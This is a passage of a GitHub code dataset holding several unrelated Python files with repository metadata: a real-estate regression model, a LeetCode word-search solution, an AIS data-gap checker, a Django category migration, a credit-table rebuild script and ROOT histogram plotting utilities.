\"NO\"\n#\n#\n# for j in range(count1):\n# print(func1(a2_list[j], a1_list[j]))\n\n","repo_name":"lilunjiaax/test1","sub_path":"网易测试开发.py","file_name":"网易测试开发.py","file_ext":"py","file_size_in_byte":3205,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"12985761003","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Nov 22 23:10:31 2017\n\n@author: Aman Kumar\n\"\"\"\n\n# Fuction to predict land evaluations based on values of parameters given by user\n#Importing libraries\nimport numpy as np\nimport pandas as pd\n\ndef regression(option_selected,bedroom,bathroom,area):\n #Data preprocessing\n\n #Importing the dataset\n dataset = pd.read_csv('RealEstateCSV.csv')\n\n\n #creating a matrix of independent variables/features\n x = dataset.iloc[ : , :-1].values \n #for dependent variable\n y = dataset.iloc[ : , 4].values\n\n\n\n \n #encoding categorical data\n from sklearn.preprocessing import LabelEncoder, OneHotEncoder\n labelencoder_x = LabelEncoder()\n x[:,0]=labelencoder_x.fit_transform(x[:,0])\n onehotencoder = OneHotEncoder(categorical_features = [0])\n x = onehotencoder.fit_transform(x).toarray()\n\n #creating a copy of x will be used in feature scaling of the single sample later\n from copy import deepcopy\n other_x = deepcopy(x)\n\n\n #feature scaling\n from sklearn.preprocessing import StandardScaler\n sc_x = StandardScaler()\n\n x = sc_x.fit_transform(x)\n\n\n\n #training the RandomForest model \n from sklearn.ensemble import RandomForestRegressor\n regressor = RandomForestRegressor(n_estimators = 325, random_state = 0)\n regressor.fit(x,y)\n\n \n input_data = []\n #constructing input array for inputing into prediction model for prediction\n for i in range(0,15):\n if i == option_selected:\n input_data.append(float(1))\n else:\n input_data.append(float(0))\n \n input_data.append(bedroom)\n input_data.append(bathroom)\n input_data.append(area)\n\n input_data=np.asarray(input_data)\n\n other_x = np.vstack([other_x,input_data])\n\n #feature scaling\n from sklearn.preprocessing import StandardScaler\n sc_otherx = StandardScaler()\n\n other_x = sc_otherx.fit_transform(other_x)\n\n input_data = other_x[-1]\n data = input_data\n\n\n input_data = np.vstack([input_data,data])\n \n\n prediction = regressor.predict(input_data[:])\n return (prediction[0])\n \n","repo_name":"sacred-deer/Property-Evaluation-and-Loan-Estimation","sub_path":"Code/regressionModelTraining.py","file_name":"regressionModelTraining.py","file_ext":"py","file_size_in_byte":2114,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"3728674759","text":"#TODO: 未!!!!\n#word[0]がbaseにあるか、あるなら位置把握=board[i][j]\n#word[1]がboard[i][j]の各々の+1 or -1にあるかsearch =>繰り返し\n#全部通ったらtrue, だめならfalse\n\nfrom typing import List\n\nboard = [[\"A\",\"B\",\"C\",\"E\"],[\"S\",\"F\",\"C\",\"S\"],[\"A\",\"D\",\"E\",\"E\"]]\nword = \"ABCB\"\n\n#再帰を使う\ndef exist(self, board, word):\n for i in range(len(board)): #iは列\n for j in range(len(board[0])): #jはカラム\n if self.dfs(board, word, i, j):\n return 'true'\n return 'false'\n\n#Gで、vからたどることの出来る頂点の内、まだ訪問していない頂点を全て訪問する P221大槻本\n# =>boardで i, jから辿ることのできる頂点の内、まだ訪問していない頂点をすべて訪問する\ndef dfs(self, board, word, i, j):\n if word[0] == board[i][j]:\n #次のwordがなかったら終わり\n if not word[1:]:\n return 'true'\n \n board[i][j] = \"#\" #訪問済みにする\n \n # next_point = [i + 1][j], [i - 1][j], [i][j + 1], [i][j - 1]\n #rangeに注意して4方向を調べる\n if i < len(board) - 1 and self.dfs(board, word[1:], i+1, j):\n return 'true'\n if i > 0 and self.dfs(board, word[1:], i-1, j):\n return 'true'\n if j < len(board[0]) - 1 and self.dfs(board, word[1:], i, j+1):\n return 'true'\n if j < 0 and self.dfs(board, word[1:], i, j-1):\n return 'true'\n board[i][j] = word[0]\n return 'false'\n \n # 次のポイントとword文字が一致しなければ終わり\n else:\n return 'false'\n\n\n\n\n#解答\ndef exist(self, board, word):\n if not board:\n return False\n for i in range(len(board)):\n for j in range(len(board[0])):\n if self.dfs(board, i, j, word): #i=0, j=0\n return True\n return False\n\n# check whether can find word, start at (i,j) position \ndef dfs(self, board, i, j, word):\n if len(word) == 0: # all the characters are checked\n return True\n if i<0 or i>=len(board) or j<0 or j>=len(board[0]) or word[0]!=board[i][j]:\n return False\n board[i][j] = \"#\" # avoid visit agian \n\n # check whether can find \"word\" along one direction, \n # return bool\n res = self.dfs(board, i+1, j, word[1:]) or self.dfs(board, i-1, j, word[1:]) \\\n or self.dfs(board, i, j+1, word[1:]) or self.dfs(board, i, j-1, word[1:])\n\n board[i][j] = word[0] #tmp:str\n return res\n\n \n\n\n# def exist(board: List[List[str]], word: str) -> bool:\n\n# for i in range(len(board)): #iは列\n# for j in range(len(board[0])): #jはカラム\n# if word[0] == board[i][j]:\n# board[i][j] = \"#\" #使われたところを空白にする\n \n# # wordの二文字目以降の場所を把握\n# for w in range(1, len(word)):\n# if i + 1 <= len(board) - 1:\n# next_pos = board[i + 1][j]\n# if word[w] == next_pos and next_pos != \"#\":\n# i += 1\n# next_pos = \"#\"\n# else:\n# return 'false'\n# elif i - 1 >= 0:\n# next_pos = board[i - 1][j]\n# if word[w] == next_pos and next_pos != \"#\":\n# i -= 1\n# next_pos = \"#\"\n# else:\n# return 'false'\n# elif j + 1 <= len(board[i]) - 1:\n# next_pos = board[i][j + 1]\n# if word[w] == next_pos and next_pos != \"#\" :\n# j += 1\n# next_pos = \"#\"\n# else:\n# return 'false'\n# elif j - 1 >= 0:\n# next_pos = board[i][j - 1]\n# if word[w] == next_pos and next_pos != \"#\":\n# j -= 1\n# next_pos = \"#\"\n# else:\n# return 'false'\n# return 'true'\n# else:\n# return 'false'\n\n# print(exist([[\"A\",\"B\",\"C\",\"E\"],[\"S\",\"F\",\"C\",\"S\"],[\"A\",\"D\",\"E\",\"E\"]], \"ABC\"))","repo_name":"kumo2kumo/CodingProblems","sub_path":"LeetCode/Word Search.py","file_name":"Word Search.py","file_ext":"py","file_size_in_byte":4431,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"10576373732","text":"#Importing the libraries and all of the functions\nimport numpy\nimport pandas\nfrom datetime import datetime\nfrom google.colab import drive\ndrive.mount('/content/drive')\n#Load the dataset and count losses data\n#Kapal 1\nFILE_NAME1 = pandas.read_csv('/content/drive/MyDrive/TA/Subsistem1 Skenario2 K1.csv')\nkapal1 = FILE_NAME1.values\nfor i in range(len(kapal1)-1):\n timenow = datetime.strptime(kapal1[i][2],\"%H:%M\")\n timenext = datetime.strptime(kapal1[i+1][2], \"%H:%M\")\n difference = timenext - timenow\n if int(difference.total_seconds()) >= 7200:\n print('Ya, kapal 1 terjadi losses data AIS selama: ', int(difference.total_seconds()) , 'detik dan terindikasi melakukan IUU transshipment')\n elif int(180 < difference.total_seconds() < 7200):\n print('Ya, kapal 1 terjadi losses data AIS selama : ', int(difference.total_seconds()) , 'detik tetapi tidak terindikasi melakukan IUUtransshipment')\n else:\n print('Kapal 1 tidak terjadi losses data AIS dan tidak terindikasimelakukan IUU transshipment')\n#Kapal 2\nFILE_NAME2 = pandas.read_csv('/content/drive/MyDrive/TA/validasi fix subsistem1 k2.csv')\nkapal2 = FILE_NAME2.values\nfor i in range(len(kapal2)-1):\n timenow = datetime.strptime(kapal2[i][2],\"%H:%M:%S\")\n timenext = datetime.strptime(kapal2[i+1][2], \"%H:%M:%S\")\n difference = timenext - timenow\n if int(difference.total_seconds()) >= 7200:\n print('Ya, kapal 2 terjadi losses data AIS selama: ', int(difference.total_seconds()) , 'detik dan terindikasi melakukan IUU transshipment')\n elif int(180 < difference.total_seconds() < 7200):\n print('Ya, kapal 2 terjadi losses data AIS selama : ', int(difference.total_seconds()) , 'detik tetapi tidak terindikasi melakukan IUUtransshipment')\n else:\n print('Kapal 2 tidak terjadi losses data AIS dan tidak terindikasimelakukan IUU transshipment')\n","repo_name":"bagusadam555/Berbungabunga","sub_path":"sub1/arsip/katingsub1.py","file_name":"katingsub1.py","file_ext":"py","file_size_in_byte":1807,"program_lang":"python","lang":"id","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"9810748711","text":"from django.db import migrations\n\n# SIG-2555\nNEW_CATEGORIES = {\n 'afval': {\n 'bruin-en-witgoed': {\n 'name': 'Bruin- en witgoed',\n 'handling': 'A3DEC',\n 'handling_message':\n \"Wij handelen uw melding binnen drie werkdagen af. \"\n \"Als u een mailadres hebt opgegeven, zullen we u op de hoogte houden.\",\n 'departments': ['AEG'],\n 'slo': '3W',\n 'description':\n \"Bruin en witgoed zijn zaken als: wasmachines, koelkasten, magnetrons of andere zaken met \"\n \"een motor en kleine electrische huishoudelijke spullen.\"\n }\n }\n}\n\n\ndef _new_categories(apps, schema_editor):\n Category = apps.get_model('signals', 'Category')\n Department = apps.get_model('signals', 'Department')\n ServiceLevelObjective = apps.get_model('signals', 'ServiceLevelObjective')\n\n for main_category_slug, data in NEW_CATEGORIES.items():\n main_category = Category.objects.get(slug=main_category_slug, parent__isnull=True)\n\n for category_slug, category_data in data.items():\n category = Category.objects.create(name=category_slug, parent=main_category) # noqa Using the slug as name to ensure the slug is correctly created\n\n category.name = category_data['name']\n category.handling = category_data['handling']\n category.handling_message = category_data['handling_message']\n category.description = category_data['description']\n\n responsible_deps = Department.objects.filter(code__in=category_data['departments'])\n category.departments.add(*responsible_deps, through_defaults={'is_responsible': True, 'can_view': True})\n # all departments have visibility on these categories, hence:\n can_view_deps = Department.objects.exclude(code__in=category_data['departments'])\n category.departments.add(*can_view_deps, through_defaults={'is_responsible': False, 'can_view': True})\n\n n_days = int(category_data['slo'][:-1])\n use_calendar_days = True if category_data['slo'][-1] == 'K' else False\n\n ServiceLevelObjective.objects.create(category=category, n_days=n_days,\n use_calendar_days=use_calendar_days)\n\n category.save()\n\n\nclass Migration(migrations.Migration):\n dependencies = [\n ('signals', '0109_SIG-2600_directing_departments'),\n ]\n\n operations = [\n migrations.RunPython(_new_categories, None), # No reverse possible\n ]\n","repo_name":"Amsterdam/signals","sub_path":"app/signals/apps/signals/migrations/0110_SIG-2715_category_changes.py","file_name":"0110_SIG-2715_category_changes.py","file_ext":"py","file_size_in_byte":2573,"program_lang":"python","lang":"en","doc_type":"code","stars":16,"dataset":"github-code","pt":"52"} +{"seq_id":"38978631222","text":"import os\nimport sys\n\n# Setup the Python Path as we may be running this via ssh\nbase_path = os.path.dirname(__file__)\nsys.path.append(os.path.abspath(os.path.join(base_path, '..')))\nsys.path.append(os.path.abspath(os.path.join(base_path, '../../../../boinc/py')))\n\nfrom utils.logging_helper import config_logger\nfrom config import DB_LOGIN\nfrom sqlalchemy import create_engine, select, func\nfrom database.database_support_core import USER_PIXEL, AREA_USER, AREA, PIXEL_RESULT\n\nLOG = config_logger(__name__)\nCOMMIT_THRESHOLD = 100\n\nLOG.info('PYTHONPATH = {0}'.format(sys.path))\n\nengine = create_engine(DB_LOGIN)\nconnection = engine.connect()\n\ntrans = connection.begin()\ntry:\n result = connection.execute(USER_PIXEL.delete())\n LOG.info('Deleted {0} rows.'.format(result.rowcount))\n trans.commit()\nexcept Exception:\n trans.rollback()\n raise\n\n# result = connection.execute(\n# insert into user_pixel\n# select area_user.userid, count(*)\n# from area, area_user, pixel_result pxresult\n# where area.area_id = area_user.area_id\n# and pxresult.area_id = area.area_id\n# group by area_user.userid)\n\nLOG.info('This is the query I am using')\nLOG.info(str(select([AREA_USER.c.userid, func.count()])\n .where(AREA.c.area_id == AREA_USER.c.area_id)\n .where(PIXEL_RESULT.c.area_id == AREA.c.area_id)\n .group_by(AREA_USER.c.userid)))\nLOG.info('This\\'ll probably take a while...')\n\nresult = connection.execute(select([AREA_USER.c.userid, func.count()])\n .where(AREA.c.area_id == AREA_USER.c.area_id)\n .where(PIXEL_RESULT.c.area_id == AREA.c.area_id)\n .group_by(AREA_USER.c.userid))\n\nLOG.info('Done!')\ninsert_queue = []\nrowcount = 0\nLOG.info('Now inserting...')\ntry:\n for row in result:\n rowcount += 1\n if len(insert_queue) > COMMIT_THRESHOLD:\n\n trans = connection.begin()\n for item in insert_queue:\n connection.execute(item)\n insert_queue = []\n trans.commit()\n\n else:\n insert_queue.append(USER_PIXEL.insert().values(userid=row[0], pixel_count=row[1]))\n\n # Process any remaining db tasks\n if len(insert_queue) > 0:\n\n trans = connection.begin()\n for item in insert_queue:\n connection.execute(item)\n trans.commit()\n\nexcept Exception:\n trans.rollback()\n raise\n\nLOG.info('Inserted {0} rows.'.format(rowcount))\n\nconnection.close()\n","repo_name":"ICRAR/boinc-magphys","sub_path":"server/src/credit/update_credit.py","file_name":"update_credit.py","file_ext":"py","file_size_in_byte":2480,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"52"} +{"seq_id":"9889837487","text":"import ROOT as rt\nimport numpy as np\nimport sys\nimport ctypes\nimport math\n\n#-----------------------------------------\n#Get, add, substract histograms \n#-----------------------------------------\ndef getHist(inFile, sample, region, syst, hName):\n hPath = \"%s/%s/%s/%s\"%(sample, region, syst, hName)\n try:\n hist = inFile.Get(hPath)\n hist = hist.Clone(hPath.replace(\"/\", \"_\"))\n except Exception:\n print (\"Error: Hist not found. \\nFile: %s \\nHistName: %s\"%(inFile, hPath))\n sys.exit()\n return hist\n\ndef getHists(inFile, samples, region, syst, hName):\n hists = []\n for sample in samples: \n hist = getHist(inFile, sample, region, syst, hName)\n hists.append(hist)\n return hists\n\ndef addHists(hList, name):\n if len(hList)==0:\n print(\"Empty hist list: %s\"%hList)\n exit()\n else:\n hSum = hList[0].Clone(name)\n hSum.Reset()\n for h in hList:\n hSum.Add(h)\n return hSum\n\ndef addHistInQuad(h1, h2):\n h = h1.Clone(\"h\")\n h.Reset()\n bins = h1.GetNbinsX()\n for i in range(bins):\n n1 = h1.GetBinContent(i)\n n2 = h2.GetBinContent(i)\n nsq = (n1*n1 + n2*n2)**0.5\n h.SetBinContent(i, nsq)\n return h\n\ndef absDiffHists(h1, h2):\n h = h1.Clone(\"h\")\n h.Reset()\n n = h1.GetNbinsX()\n for i in range(n):\n c = abs(h1.GetBinContent(i) - h2.GetBinContent(i))\n h.SetBinContent(i, c)\n return h\n \n#-----------------------------------------\n#Get histograms for systematics band\n#-----------------------------------------\ndef getHistSyst(inFile, samples, region, systs, hName):\n hBases = getHists(inFile, samples, region, \"Base\", hName)#list\n hSumBase = addHists(hBases, \"SumBases_%s_%s\"%(region, hName))# single hist\n hAllDiffUp = hSumBase.Clone()\n hAllDiffDown = hSumBase.Clone()\n hAllDiffUp.Reset()\n hAllDiffDown.Reset()\n print(\"----------------------------------------------\")\n print(\"%20s %10s %10s\"%(\"Syst\", \"Up(%)\", \"Down(%)\"))\n for syst in systs: \n hUps = getHists(inFile, samples, region, \"%sUp\"%(syst), hName) \n hDowns = getHists(inFile, samples, region, \"%sDown\"%(syst), hName)\n hSumUps = addHists(hUps, \"SumUps_%s_%s_%s\"%(syst, hName, region))\n hSumDowns = addHists(hDowns, \"SumDowns_%s_%s_%s\"%(syst, hName, region))\n n = hSumBase.Integral()\n nUp = hSumUps.Integral()\n nDown = hSumDowns.Integral()\n pUp = round(100*abs(n-nUp)/n, 2)\n pDown = round(100*abs(n-nDown)/n, 2)\n print(\"%20s %10s %10s\"%(syst, pUp, pDown))\n hAllDiffUp = addHistInQuad(hAllDiffUp, absDiffHists(hSumBase, hSumUps))\n hAllDiffDown = addHistInQuad(hAllDiffDown, absDiffHists(hSumBase, hSumDowns))\n return hSumBase, hAllDiffUp, hAllDiffDown\n\n#-----------------------------------------\n#Decorate a histogram\n#-----------------------------------------\ndef decoHist(hist, xTit, yTit, color):\n hist.GetXaxis().SetTitle(xTit);\n hist.GetYaxis().SetTitle(yTit);\n hist.SetFillColor(color);\n hist.GetYaxis().CenterTitle()\n hist.GetXaxis().SetTitleOffset(1.0)\n hist.GetYaxis().SetTitleOffset(1.0)\n hist.GetXaxis().SetTitleSize(0.05);\n hist.GetYaxis().SetTitleSize(0.05);\n hist.GetXaxis().SetTitleSize(0.05);\n hist.GetYaxis().SetTitleSize(0.05);\n\ndef decoHistSyst(hist, xTit, yTit, color):\n hist.GetXaxis().SetTitle(xTit);\n hist.GetYaxis().SetTitle(yTit);\n hist.SetLineColor(color);\n hist.SetLineWidth(3);\n hist.GetXaxis().SetTitleOffset(1.0)\n hist.GetYaxis().SetTitleOffset(1.0)\n hist.GetXaxis().SetTitleSize(0.05);\n hist.GetYaxis().SetTitleSize(0.05);\n hist.GetXaxis().SetTitleSize(0.05);\n hist.GetYaxis().SetTitleSize(0.05);\n\ndef decoHistSig(hist, xTit, yTit, color):\n hist.GetXaxis().SetTitle(xTit);\n hist.GetYaxis().SetTitle(yTit);\n hist.SetFillColor(color);\n #hist.Scale(10)\n hist.SetLineColor(color)\n hist.SetLineStyle(2)\n hist.SetLineWidth(4) \n hist.SetFillColor(0)\n\ndef decoHistRatio(hist, xTit, yTit, color):\n #hist.SetFillColor(color);\n hist.SetLineColor(color);\n hist.GetXaxis().SetTitle(xTit);\n hist.GetYaxis().SetTitle(yTit);\n hist.GetXaxis().SetTitleSize(0.11);\n hist.GetXaxis().SetLabelSize(0.10);\n hist.GetXaxis().SetLabelFont(42);\n #hist.GetXaxis().SetLabelColor(kBlack);\n #hist.GetXaxis().SetAxisColor(kBlack);\n hist.GetYaxis().SetRangeUser(0.0, 2.0);\n hist.GetXaxis().SetTitleOffset(1);\n hist.GetXaxis().SetLabelOffset(0.01);\n hist.SetMarkerStyle(20); \n hist.SetMarkerColor(color)\n #hist.SetMarkerSize(1.2);\n hist.GetYaxis().SetTitleSize(0.11);\n hist.GetYaxis().SetLabelSize(0.10);\n hist.GetYaxis().SetLabelFont(42);\n #hist.GetYaxis().SetAxisColor(1);\n hist.GetYaxis().SetNdivisions(6,5,0);\n #hist.GetXaxis().SetTickLength(0.06);\n hist.GetYaxis().SetTitleOffset(0.6);\n hist.GetYaxis().SetLabelOffset(0.01);\n hist.GetYaxis().CenterTitle();\n\n#-----------------------------------------\n#Get uncertainty band for the total bkg\n#-----------------------------------------\ndef getUncBand(hBase, hDiffUp, hDiffDown, isRatio):\n '''\n The uncertainty band is formed by up and down\n fluctuation of nominal event yield. In every\n bin we have a nominal value from the base\n histogram and up/down values from other two.\n We draw nominal + up and nominal - down as \n error band on the top pannel. On the bottom (ratio)\n pannel, we draw 1+ up/nominal, 1-nominal/down as\n error band.\n '''\n yValues = []\n yErrsUp = []\n yErrsDo = []\n xValues = []\n xErrsUp = []\n xErrsDo = []\n nBins = hBase.GetNbinsX()\n for i in range(nBins):\n yValue = hBase.GetBinContent(i+1)\n statErr = hBase.GetBinError(i+1)\n valUp = abs(hDiffUp.GetBinContent(i+1))\n valDo = abs(hDiffDown.GetBinContent(i+1))\n lumiErr = yValue*2.5/100 #2.5% unc on each Bkg\n yErrUp = (valUp*valUp + statErr*statErr+ lumiErr*lumiErr)**0.5 \n yErrDo = (valDo*valDo + statErr*statErr+ lumiErr*lumiErr)**0.5\n if isRatio:\n yValues.append(1)\n if yValue >0:\n yErrsUp.append(abs(yErrUp)/yValue)\n yErrsDo.append(abs(yErrDo)/yValue)\n else:\n yErrsUp.append(0.0)\n yErrsDo.append(0.0)\n else:\n yValues.append (yValue)\n yErrsUp.append(abs(yErrUp))\n yErrsDo.append(abs(yErrDo))\n \n xValues.append(hBase.GetBinCenter(i+1))\n xErrsUp.append(hBase.GetBinWidth(i+1)/2)\n xErrsDo.append(hBase.GetBinWidth(i+1)/2)\n uncGraph = rt.TGraphAsymmErrors( nBins, \n np.array(xValues , dtype='double'),\n np.array(yValues , dtype='double'),\n np.array(xErrsDo , dtype='double'),\n np.array(xErrsUp , dtype='double'),\n np.array(yErrsDo , dtype='double'),\n np.array(yErrsUp , dtype='double'))\n return uncGraph\n\n#-----------------------------------------\n#Legends for all histograms, graphs\n#-----------------------------------------\ndef decoLegend(legend, nCol, textSize):\n #legend.SetNColumns(nCol);\n legend.SetFillStyle(0);\n legend.SetBorderSize(0);\n #legend.SetFillColor(kBlack);\n legend.SetTextFont(42);\n legend.SetTextAngle(0);\n legend.SetTextSize(textSize);\n legend.SetTextAlign(12);\n return legend\n\n#-----------------------------------------\n#Sort histograms w.r.t to the event yield\n#-----------------------------------------\ndef sortHists(hAllBkgs, isReverse):\n '''\n We sort the histograms in both orders.\n They are sorted in acending/decending\n orders for stack/legend.\n '''\n yieldDict = {}\n for h in hAllBkgs:\n yieldDict[h.GetName()] = h.Integral()\n if isReverse:\n newDict = sorted(yieldDict.items(), key=lambda x: x[1], reverse=True)\n else:\n newDict = sorted(yieldDict.items(), key=lambda x: x[1])\n hSorted = []\n for i in newDict:\n for h in hAllBkgs:\n if i[0]==h.GetName():\n hSorted.append(h)\n return hSorted\n\n#-----------------------------------------\n#Sort graph w.r.t to the maximum y-value \n#-----------------------------------------\ndef sortGraphs(graphs, isReverse = True):\n yieldDict = {}\n for g in graphs:\n yieldDict[g.GetName()] = max(g.GetY())\n if isReverse:\n newDict = sorted(yieldDict.items(), key=lambda x: x[1], reverse=True)\n else:\n newDict = sorted(yieldDict.items(), key=lambda x: x[1])\n gSorted = []\n for i in newDict:\n for g in graphs:\n if i[0]==g.GetName():\n gSorted.append(g)\n return gSorted\n\n#----------------------------------------------------------\n#Reformat jet multiplicity string \n#----------------------------------------------------------\n#Jet selection naming: a3j_e2b = atleast 3 jet, out of which 2 are b jets: nJet >= 3, nBJet ==2\ndef formatCRString(region):\n name = region\n name = name.replace(\"FatJet_size\", \"t\")\n name = name.replace(\"Jet_size\", \"j\")\n name = name.replace(\"Jet_b_size\", \"b\")\n name = name.replace(\"Photon_size\", \"#gamma\")\n name = name.replace(\"Photon_et\", \"p_{T}^{#gamma}\")\n name = name.replace(\" &&\", \",\")\n name = name.replace(\">=\", \"#geq \")\n name = name.replace(\"<=\", \"#leq \")\n name = name.replace(\"==\", \"=\")\n return name \n\ndef createTable(samples, tDict, sList, nCol, tHead, tCaption):\n table = \"\\\\begin{minipage}[c]{0.24\\\\textwidth}\\n\"\n table += \"\\\\centering\\n\"\n table += \"\\\\scalebox{.40}{\\n\"\n col = \"\"\n for i in range(nCol):\n col += \"c\"\n table += \"\\\\begin{tabular}{%s}\\n\"%col\n table += \"\\\\hline\\n\"\n table += tHead \n table += \"\\\\hline\\n\"\n row = \"\"\n #print samples.keys()\n for key in sList:\n if key in samples.keys():\n row += \"$ %s $\"%samples[key][1].replace(\"#\", \"\\\\\")\n else:\n row += key\n for r in tDict[key]:\n row = \" %s & %s\"%(row, r)\n row += \"\\\\\\\\\\n\"\n table += \"%s\\\\hline\\n\"%row\n table += \"\\\\end{tabular}\\n\"\n #table += \"\\\\caption*{table}{%s}\\n\"%tCaption\n table += \"}\\n\"\n table += \"\\\\end{minipage}\\n\"\n return table\n\ndef getYield(h):\n err = ctypes.c_double(0.0)\n #err = rt.Double(0.0)\n norm = h.IntegralAndError(1, h.GetNbinsX(), err)\n entry = h.GetEntries()\n if(norm!=0):\n y = [int(entry), round(norm, 1), str(round(100.0*err.value/norm, 1)) + \" (---)\"]\n else:\n y = [\"0\", \"0\", \"0 (---)\"]\n #y = [round(norm, 2), round(100*err/norm, 2)]\n return y\n\ndef makeRowCat(catHists, hName):\n inc = catHists[hName].Integral()\n gen = catHists[\"%s_genuine\"%hName].Integral()\n nonP = catHists[\"%s_hadronic_photon\"%hName].Integral()\n misid = catHists[\"%s_misid_ele\"%hName].Integral()\n fake = catHists[\"%s_hadronic_fake\"%hName].Integral()\n if(inc==0):\n y = [\"0\", \"0\", \"0\", \"0\", \"0\"]\n else:\n y = [round(inc, 1), round(100*gen/inc, 1), round(100*nonP/inc, 1), round(100*misid/inc, 1), round(100*fake/inc, 1)]\n return y\n\ndef getRowCat(sample, hName, hDict, catDict):\n oneBkg = {}\n for h in hDict[hName]:\n if sample in h.GetName():\n oneBkg[hName] = h\n for cat in catDict.keys():\n for h in hDict[\"%s_%s\"%(hName, cat)]:\n if sample in h.GetName():\n oneBkg[\"%s_%s\"%(hName, cat)] = h\n row = makeRowCat(oneBkg, hName)\n return row\n\ndef getRowCatBkgs(hName, hSum, catBkgs, catDict):\n allBkgs = {}\n allBkgs[hName] = hSum\n for cat in catDict.keys():\n for h in catBkgs:\n if cat in h.GetName():\n allBkgs[\"%s_%s\"%(hName, cat)] = h\n row = makeRowCat(allBkgs, hName)\n return row\n\ndef getLumiLabel(year):\n lumi = \"35.9 fb^{-1}\"\n if \"16Pre\" in year:\n lumi = \"19.5 fb^{-1} (2016Pre)\"\n if \"16Post\" in year:\n lumi = \"16.8 fb^{-1} (2016Post)\"\n if \"17\" in year:\n lumi = \"41.5 fb^{-1} (2017)\"\n if \"18\" in year:\n lumi = \"59.8 fb^{-1} (2018)\"\n if \"__\" in year:\n lumi = \"138 fb^{-1} (Run2)\"\n return lumi\n\ndef getChLabel(decay, channel):\n nDict = {\"Semilep\": \"1\", \"Dilep\":2}\n chDict = {\"Mu\": \"#mu\", \"Ele\": \"e\"}\n colDict = {\"Mu\": rt.kBlue, \"Ele\": rt.kRed}\n name = \"\"\n for ch in channel.split(\"__\"):\n name += \"%s#color[%i]{%s}\"%(nDict[decay], colDict[ch], chDict[ch])\n name += \", p_{T}^{miss} #geq 20 GeV\"\n return name\n\n\ndef getEff(inFile, samp, region, hs):\n try:\n hPass = inFile.Get(\"%s/%s/1Base/%s\"%(samp, region, hs[1]))\n hAll = inFile.Get(\"%s/%s/1Base/%s\"%(samp, region, hs[0]))\n except Exception:\n print (\"Error: Hist not found. \\nFile: %s \\nHistName: %s\"%(inFile, hPath))\n sys.exit()\n pEff = rt.TGraphAsymmErrors(hPass, hAll)\n labels = {}\n for i in range(0, hAll.GetNbinsX()):\n label = hAll.GetXaxis().GetBinLabel(i)\n if(label==\"\"): \n continue\n #pEff.GetXaxis().SetBinLabel(i, \"a\")\n #pEff.GetXaxis().SetBinLabel(i, label)\n #pEff.GetXaxis().LabelsOption(\"u\")\n labels[\"%s\"%i] = label\n pEff.SetName(samp)\n return pEff, labels\n\ndef decoEff(hist, xTit, yTit, color):\n hist.GetXaxis().SetTitle(xTit);\n hist.GetYaxis().SetTitle(yTit);\n hist.SetFillColor(color);\n hist.SetLineColor(color);\n hist.SetMarkerColor(color);\n #hist.GetYaxis().CenterTitle()\n hist.GetXaxis().SetTitleOffset(1.0)\n hist.GetYaxis().SetTitleOffset(1.2)\n hist.GetXaxis().SetTitleSize(0.05);\n hist.GetYaxis().SetTitleSize(0.05);\n hist.GetXaxis().SetTitleSize(0.05);\n hist.GetYaxis().SetTitleSize(0.05);\n hist.GetXaxis().SetTickLength(0.04);\n hist.GetXaxis().SetMoreLogLabels();\n hist.GetXaxis().SetNoExponent()\n\ndef checkNanInBins(hist):\n checkNan = False\n for b in range(hist.GetNbinsX()):\n if math.isnan(hist.GetBinContent(b)):\n print(\"%s: bin %s is nan\"%(hist.GetName(), b))\n checkNan = True\n return checkNan\n\ndef getSystUnc(hUp, hBase, hDown, samp, isPrint=False):\n if isPrint:\n print(\"Sample, %10s %14s %22s %22s %10s\"%(\"SystUnc(%)\", \"Down\", \"Base\", \"Up\", \"Unc\"))\n print(\"%20s %6s %8s %8s %6s %8s %8s %6s %8s %8s %5s\"%(\"\", \n \"UnderF\", \"Integral\", \"OverF\", \n \"UnderF\", \"Integral\", \"OverF\", \n \"UnderF\", \"Integral\", \"OverF\", \"\"))\n evtBase = hBase.Integral()\n evtUp = hUp.Integral()\n evtDown = hDown.Integral()\n #check if intergal is 0\n #if evtUp ==0.0 or evtBase ==0.0 or evtDown ==0.0:\n #i = integral, u = undeflow, o = overflow\n iEvtBase = round(hBase.Integral(),0)\n iEvtUp = round(hUp.Integral(),0)\n iEvtDown = round(hDown.Integral(),0)\n uEvtBase = round(hBase.GetBinContent(0),0)\n uEvtUp = round(hUp.GetBinContent(0),0)\n uEvtDown = round(hDown.GetBinContent(0),0)\n oEvtBase = round(hBase.GetBinContent(hBase.GetNbinsX()+1),0)\n oEvtUp = round(hUp.GetBinContent(hUp.GetNbinsX()+1),0)\n oEvtDown = round(hDown.GetBinContent(hDown.GetNbinsX()+1),0)\n if uEvtBase >1000 or oEvtBase >1000:\n print(\"Warning: Base: Overflow or Undeflow is more than 1000\")\n if uEvtUp >1000 or oEvtUp >1000:\n print(\"Warning: Up: Overflow or Undeflow is more than 1000\")\n if uEvtDown >1000 or oEvtDown >1000:\n print(\"Warning: Down: Overflow or Undeflow is more than 1000\")\n if evtBase ==0.0:\n print(\"Warning: evtBase is zero\")\n #check if intergal is NaN\n if math.isnan(evtUp) or math.isnan(evtDown):\n print(\"Warning: Inegral is nan\")\n #check if bins are nan\n if checkNanInBins(hUp) or checkNanInBins(hBase) or checkNanInBins(hDown):\n print(\"Warning: Some of the bins are nan\")\n syst = round(100*max(abs(evtUp -evtBase),abs(evtBase-evtDown))/evtBase, 2)\n print(\"%10s, %10s\" \n \"|%6.0f %8.0f %8.0f\"\n \"|%6.0f %8.0f %8.0f\"\n \"|%6.0f %8.0f %8.0f\"%(samp, syst, \n uEvtDown, iEvtDown, oEvtDown, \n uEvtBase, iEvtBase, oEvtBase, \n uEvtUp, iEvtUp, oEvtUp))\n if syst > 100.0:\n print(\"Warning: Large uncertainty: %10.2f\"%(syst)) \n return syst\n\ndef getContent(hist):\n con = []\n for i in range(1, hist.GetNbinsX()):\n con.append(hist.GetBinContent(i))\n return con 